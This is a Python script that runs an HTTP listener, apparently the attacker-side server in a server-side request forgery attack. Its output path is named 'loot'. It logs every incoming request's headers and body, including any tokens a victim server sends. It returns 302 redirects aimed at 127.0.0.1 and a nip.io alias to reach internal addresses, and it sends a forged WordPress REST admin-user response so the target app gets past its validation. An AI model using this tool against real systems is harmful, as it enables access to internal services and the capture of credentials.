import http.server, socketserver, json, time, sys, os
OUT='/home/dots/work/zcp/loot/injection/ev/ssrf_requests.jsonl'
class H(http.server.BaseHTTPRequestHandler):
    protocol_version='HTTP/1.1'
    def _log(self):
        try: body=self.rfile.read(int(self.headers.get('Content-Length') or 0))
        except Exception: body=b''
        rec={'ts':time.strftime('%Y-%m-%dT%H:%M:%SZ',time.gmtime()),'client':self.client_address[0],
             'method':self.command,'path':self.path,'version':self.request_version,
             'headers':dict(self.headers.items()),'body':body.decode('utf-8','replace')}
        with open(OUT,'a') as f: f.write(json.dumps(rec,ensure_ascii=False)+'\n')
        sys.stderr.write(json.dumps(rec,ensure_ascii=False)+'\n'); sys.stderr.flush()
    def _respond(self, code, payload, ctype='application/json'):
        b=payload.encode() if isinstance(payload,str) else payload
        self.send_response(code); self.send_header('Content-Type',ctype)
        self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
    def do_GET(self):
        self._log()
        # redirect modes: /redir-ext -> 302 to /final ; /redir-int -> 302 to https://127.0.0.1/ ; /redir-int-nipio -> 302 to https://127.0.0.1.nip.io/
        if self.path.startswith('/redir-ext'):
            self.send_response(302); self.send_header('Location','https://bhemkrplqsbo56hr-dots.vixium.ai/final-target'); self.send_header('Content-Length','0'); self.end_headers(); return
        if self.path.startswith('/redir-int-nipio'):
            self.send_response(302); self.send_header('Location','https://127.0.0.1.nip.io/'); self.send_header('Content-Length','0'); self.end_headers(); return
        if self.path.startswith('/redir-int'):
            self.send_response(302); self.send_header('Location','https://127.0.0.1/'); self.send_header('Content-Length','0'); self.end_headers(); return
        # emulate a WP REST response so the app may continue past the check
        self._respond(200, json.dumps({"id":1,"name":"inj-admin","slug":"inj","capabilities":{"publish_posts":True},"context":"edit"}))
    def do_POST(self):
        self._log(); self._respond(200, '{"ok":true}')
    do_PUT=do_POST; do_DELETE=do_POST; do_PATCH=do_POST
    def do_HEAD(self):
        self._log(); self.send_response(200); self.send_header('Content-Length','0'); self.end_headers()
    def log_message(self,*a): pass
class S(socketserver.ThreadingTCPServer): allow_reuse_address=True; daemon_threads=True
port=int(sys.argv[1]) if len(sys.argv)>1 else 8900
S(('0.0.0.0',port),H).serve_forever()
